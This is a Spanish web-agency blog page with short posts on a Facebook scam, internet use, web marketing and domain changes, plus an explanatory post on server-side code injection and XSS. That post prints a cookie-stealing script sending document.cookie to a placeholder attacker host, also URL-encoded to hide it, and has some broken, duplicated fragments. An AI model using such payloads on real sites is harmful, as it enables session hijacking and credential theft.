Pilas con los "SCAM"

Escrito por Super User. Posted in Web

SCAM informático

Un tema desatado a partir del reciente surgimiento de aplicaciones engañosas en las Redes sociales

SCAM en Facebook que promete un Ipad Mini "Gratis"

SCAM según Wikipedia, es un intento de estafa atravez de redes sociales o correo electrónico.

Que normalmente, pretenden estafar económicamente por medio del engaño presentando supuestas donaciones a recibir o premios a los que se accede previo envío de dinero, información confidencial (Como tus datos para posteriormente venderlos en "Bases de Datos").

Hoy he recibido un Mail de la Coordinación CSIRT-PONAL de La Policía nacional de Colombia, en el cual alertan sobre un SCAM que está circulando por Facebook disfrazado de "Aplicación" que promete un Ipad Mini gratis.

Por supuesto, no es cierto... y al aceptar la aplicación, le das permisos para que acceda a todos tus datos de Facebook (Que incluye tus datos de nacimiento, e-mail y teléfono entre otros datos). 

Las recomendaciones para protegernos de dichos "Virus" son:

  • Descargar la versión más actualizada del navegador web.
  • Nunca hacer clic en enlaces o ventanas emergentes desconocidas que suelen salir cuando se navega en las redes sociales.
  • Identifique la veracidad de estos avisos publicitarios antes de dar clic en ellos, pues puede tratarse de una estafa o engaño que puede robar su información personal y financiera.
  • Mantener actualizado el sistema operativo y software antivirus del equipo.

Además, nunca sobra el viejo dicho de "Visitar solo sitios confiables y conocidos".  

¿Usas internet? Sí, tú usas internet

Escrito por @gringoinc. Posted in Web

Internet explorer, Mozilla firefox, Google Chrome, Safari y Opera navegadores web

Creo que ninguno de nosotros puede negar la importancia del internet hoy, un medio muy bueno para empresas, para personas independientes, para instituciones y para la educación. Esta última rompe definitivamente las barreras geográficas, y empieza a implementar los cursos online  que facilitan a muchos el aprendizaje.

Las clases online logran que las personas utilicen su tiempo a su manera, ahorren en desplazamiento y obtengan certificados o títulos a larga distancia. Si lo vemos desde las redes sociales el internet también nos acerca a todos los miembros de una universidad, colegio, hasta se vuelve una fuente de información para las tareas programadas, notas y asesorías. ¿cuando nos vamos a reunir? hoy en la tarde por el chat; los desplazamientos también se reducen y los chats ayudan a todos los estudiantes a encontrarse de una manera virtual y trabajar de una forma colaborativa.

La internet además une a las familias que debieron separarse por cualquier circunstancia. No es sorpresa ver que nuestras mamás, papás abuelas y abuelos quieren aprender de este mundo y tomar cursos de computadores para comunicarse con sus familiares, las llamadas por Skype son la locura china, y ni qué decir de chatear o llamar gratis con aplicaciones móviles como Viber o Whatsapp.

En conclusión este cuento del internet si que pegó de buena manera, ya hasta guardamos nuestra información en la nube con Dropbox, Drive, Sky Drive y otros más,  poco a poco vamos perdiendo el miedo a lo virtual y dejamos atrás los cd y las memorias USB; los niños tienen buscadores para ellos y que los protegen de contenidos no recomendables, en el comercio ha sido muy bien aprovechado las marcas realizan tiendas online donde ofrecer sus productos, internet empieza a ser sus vitrinas.

¿Tú usas internet? claro que sí, eso ya es una pregunta obvia en la actualidad, y si no, la recomendación es empezarse a sumergir más en este medio, tan útil y tan actual.

¿Estás en el 2012? entonces deberías aplicar estas estrategias

Escrito por Super User. Posted in Web

¿Qué cómo va este año? como lo veo lleno de posibilidades para todos y todas pero en especial para las pequeñas empresas. Esto de la web está revolucionando y toma cada día más fuerza, puedo apostar que ninguno llegó a imaginarse tener un espacio en internet (redes sociales) o encontrar información a través de un código QR, hacer todo desde su celular, y mucho menos permanecer gran parte de su tiempo navegando en la web.

Con el marketing digital, el mundo está en constante cambio, y a mi modo de ver, tú, si tú empresario, emprendedor debes empezar a unirte al cambio. ¿alguna vez han escuchado que el que no está en las páginas amarillas no existe? pues... ahora también podemos decir el que no está en internet, no existe.

Con este furor de la web, como les dije, se abren puertas para los pequeños empresarios, hasta el punto de poder competir con grandes empresas, las estrategias web empiezan a convertirse en grandes aliados para construir una reputación online, como es el caso de las redes sociales y del SEO, aunque debo admitir que el posicionamiento orgánico en Medellín ya está siendo muy tomado en cuenta al momento de una estrategia publicitaria, y más cuando gran parte de las búsquedas de los productos, los servicios y las empresas son hechas por internet; según Google, el 24% de nosotros realizamos nuestras compras por este medio.

Son muchas las necesidades que se generan en las empresas al momento de iniciar su existencia en internet, que yo quiero que sea así, que yo quiero mi propia red social; a estas personas yo les digo: despídase del “yo quiero” y haga las cosas siempre buscando tener la mejor relación con sus clientes, no los confunda, no los cambie de medio, y si es necesario para ahorrarles inconvenientes y largos pasos busque con sus proveedores un buen desarrollo web a la medida. Por ahí dicen que menos es más y yo les creo.

Concluyendo, para no aburrirlos, esta nueva era digital trae no sólo un bello paraíso de negocios sino también enormes retos en la gestión con sus clientes, en la información y atención que les brinde. En internet es mucha la competencia y a menos de que sus estrategias sean las adecuadas sus clientes lo abandonarán; haga uso de las redes sociales para mejorar la comunicación, de los boletines electrónicos para contarles qué hay de nuevo para ellos, de publicidad en la web, del SEO; son bastantes las estrategias que puedes realizar para crecer en la web.

Inyección de código

Escrito por Super User. Posted in Web

INYECCIÓN DE CODIGO O COMANDOS EN EL SERVIDOR:

La inyección de código  en el servidor, también denominada “server-side code injection”, consiste en la inclusión,  local, o  remota, de contenido ajeno a la aplicación por parte de un atacante, con el fin de obtener ejecución de comandos con los privilegios que se ejecute el servidor web. Se presenta generalmente en dos formas diferentes:

La primera de ellas por el uso inapropiado de funciones contenidas en el lenguaje que debido a  su potencia  y  versatilidad  pueden  llevar a  la citada  ejecución de comandos.

La segunda tiene que ver con un control incorrecto de los datos que se almacenan en ficheros potencialmente ejecutables.

  • El primer  modelo  de error  generalmente  está presente en aplicaciones PHP  ante el uso de funciones como include, include_once, require o require_once. La potencia y versatilidad de estas funciones, que permiten leer e interpretar cualquier fichero como contenido php, bien sea de forma local, o remota a través de protocolos como http, ftp e incluso samba, hace que para uso se deban seguir una serie de pasos que eviten situaciones indeseables a continuación se muestra un ejemplo.


Otro detalle de este archivo, tal como puede verse en la captura siguiente, es que el atacante realiza una  comprobación mediante MD5.
En la sección de código puede observarse que el MD5 es aplicado dos veces consecutivas (para incrementar la complejidad) sobre una cadena de texto para certificar que es realmente el atacante propietario de dicho archivo quien está realizando la petición al servidor comprometido. Este cadena de texto, que cumple la función de una contraseña, es pasada por parámetro en la URL de la forma “p=[CONTRASEÑA]”. De esta forma la única manera de poder ejecutar el archivo de forma completa y obtener los resultados deseados es teniendo la cadena de  , la cual aplicando MD5 dos veces seguidas, devuelve el hash por el cual comprueba y se cumpla la condición.
El paso siguiente que realiza el código es solucionar la vulnerabilidad en el servidor luego de que el archivo ya se encuentra dentro del mismo. En la siguiente imagen se puede observar la sección de código q

El segundo modelo puede presentarse en cualquiera de los lenguajes y está vinculado a la salida a disco de datos suministrados por el usuario. Dentro de este modelo encontramos también dos divisiones:

La primera será aquellos casos en los que no exista un SGBD propiamente dicho, y se usen ficheros de disco para almacenar datos. Esto que puede parecer extraño, es bastante común en sistemas de gestión de contenido, que pre generan el contenido a mostrar y lo almacenan en disco para economizar tiempos de acceso. Los datos pueden ser de la más diversa índole, desde datos propios del perfil de un usuario, hasta acciones de este como envíos de comentarios, mensajes o noticias. El segundo grupo será la subida de ficheros al servidor por parte de un usuario. En estos casos la validación y control de los datos almacenados por el usuario deberá ser máxima.



INYECCIÓN DE CÓDIGO HTML EN CLIENTE

Este error, también denominado “Cross-Site Scripting”, abreviado XSS, se fundamenta en inyectar dentro de la aplicación código HTML que al ser mostrado en el navegador de la víctima del ataque pueda alterar su comportamiento normal. Esto nos da 2 ideas claves en torno a este ataque:

La primera es un ataque pasivo. Es necesario que la victima realice una determinada  acción, como por ejemplo visitar una determinada web, para sufrir dicho ataque.

La segunda, es cuando ataque se produce en el cliente, y nunca en el servidor. Es decir, lo que se ataca es a un cliente conectado a un servidor, y no al propio servidor.

Este tipo de ataque no siempre presenta un riesgo para la seguridad, sin embargo es cierto que existen determinados escenarios en los cuales la inyección de código HTML en el contexto de un cliente se convierte en un problema para la seguridad, tanto del cliente, como del servidor. Veámoslos:

El primer escenario es el robo de credenciales de un cliente autenticado en la aplicación.

Este tipo de  ataque  es  posible debido a los sistemas de control de sesiones que implementan las aplicaciones web. Generalmente  una aplicación se decanta por una de las siguientes formas de control de la sesión del usuario: una variable en la aplicación o una cookie. Tanto una como otra contendrán el identificador de sesión (sid), consistente en una cadena de texto, usualmente alfanumérica, de una longitud suficiente como para garantizar la imposibilidad de colisiones entre identificadores de usuario. Este identificador se obtiene una vez superada la autenticación y generalmente se amplía la seguridad asociándolo a una IP y delimitando el tiempo de uso del mismo.  Estas credenciales  son almacenadas  por  el  navegador,  por tanto, inyectando  HTML, concretamente javascript, dentro de una aplicación es factible robar las credenciales de un usuario de manera más o menos trivial, con una simple llamada a un servidor controlado por el atacante el cual almacene dichas credenciales. Este ataque se ve dificultado en numerosas ocasiones por un control de la IP del usuario legítimo de la aplicación. No obstante recordemos que la existencia de proxys intermedios en los proveedores de servicio, así como de intranets con IP compartida mediante NAT, hacen que siga siendo posible este tipo de ataque.

Como ejemplo, usaremos una inyección de código HTML existente en Netscape Messenger Express. El cual al insertar una referencia a un contenido externo, permitía capturar el contenido del campo HTTP_REFERER con el identificador de sesión en él. Paralelamente un inapropiado control de la IP del usuario por parte de algunos proveedores de servicios, como por ejemplo Terra, permitía el robo de sesiones de usuario. Además de robar sesiones de usuario, es posible en aquellas aplicaciones que incorporan funcionalidades sobre el servidor, invocarlas ante la ejecución de una inyección de HTML en la aplicación. Así sucede actualmente con Horde/IMP, popular webmail escrito en PHP. Horde/IMP permite una inyección de HTML en el campo Subject ( Asunto ) de los mensajes de email. Generalmente este problema no debería ir más allá de capturar la sesión del usuario, pero la existencia de privilegios extendidos para los administradores de Horde, así como de que Horde sea usado como plataforma de lectura de correo por aplicaciones como CPanel, hace que sea posible ejecutar comandos sobre el servidor a partir de un sencillo ataque de inyección de código.

La solución a este tipo de problemas pasa por la creación de una función de impresión segura, la cual remplace los caracteres “<” y “>” por “&lt” y “&gt”, para su correcta representación sin peligro en los navegadores web.

Ejemplo

Supongamos que la página de inicio de CómoFunciona.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://es.kioskea.net/?nom=Jeff
Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Jeff" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:

<SCRIPT>   document.location='http://site.pirate/cgi- bin/script.cgi?'+document.cookie </SCRIPT>
bin/script.cgi?'+document.cookie </SCRIPT>



El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:


http://es.kioskea.net/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>


No obstante, la codificación de la dirección URL permite ocultar el ataque:


http://es.kioskea.net/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e

Descargue el documento en PDF

Ver presentación Online

Consecuencias de cambiar de dominio

Escrito por Gringo. Posted in Web

Dominios webCambiar de dominio en una WEB no es una decisión a tomar de la noche a la mañana, en la mayoría de los casos, las principales razones para hacerlo son el Brandig de la empresa, cambio de razón social ó asuntos Juridico-Legales, entre otros.

Siempre la recomendación será cambiar de dominio como última opción ya analizadas todas las otras posibles soluciones a las necesidades de la compañía.

A continuación listaré unas cuantas consecuencias negativas a la hora de cambiar de dominio, ya que las positivas serán principalmente los motivos que la empresa haya tenido en cuenta para tomar esta decisión:
  • Principalmente y lo mas preocupante es la confusión de los clientes con el cambio de correos electrónicos. Se puede crear una nueva plataforma de Google Apps para el nuevo dominio, pero debemos dejar 5 días sin correos la dirección anterior antes de que Google libere el dominio viejo para poder agregarlo como alias del nuevo(Hablando netamente de plataformas en Google Apps). Otra solución sería manejar los nuevos como alias... pero siempre necesitaremos el espacio de 5 días para hacer el cambio definitivo. 
  • Siguiendo con el tema del e-mail y contando con que manejemos la plataforma de Google Apps, perderíamos la antiguedad, por lo tanto ya estaríamos limitados a 10 cuentas gratuitas (Recordemos que las cuentas viejas de Apps tienen capacidades de 25 y 50 cuentas gratuitas).
  • El PageRank que google da a los dominios, no puede migrarse a otro, debemos empezar a ganarlo nuevamente.
  • El SEO perderá notable y considerablemente posiciones, por lo tanto deberemos emplear una fuerte estrategia SEO de recuperación. Aunque se emplearía una redirección permanente (301) para atrapar todo el tráfico posible, siempre se disminuirán las visitas y se corre el riesgo de perder algunos BackLinks (Indispensables en el SEO).
Agradecimientos a David Guerrero, quien con su iniciativa nos impulsó a redactar éste artículo
Próximamente redactarémos un artículo con algunas indicaciones para comprar el dominio correcto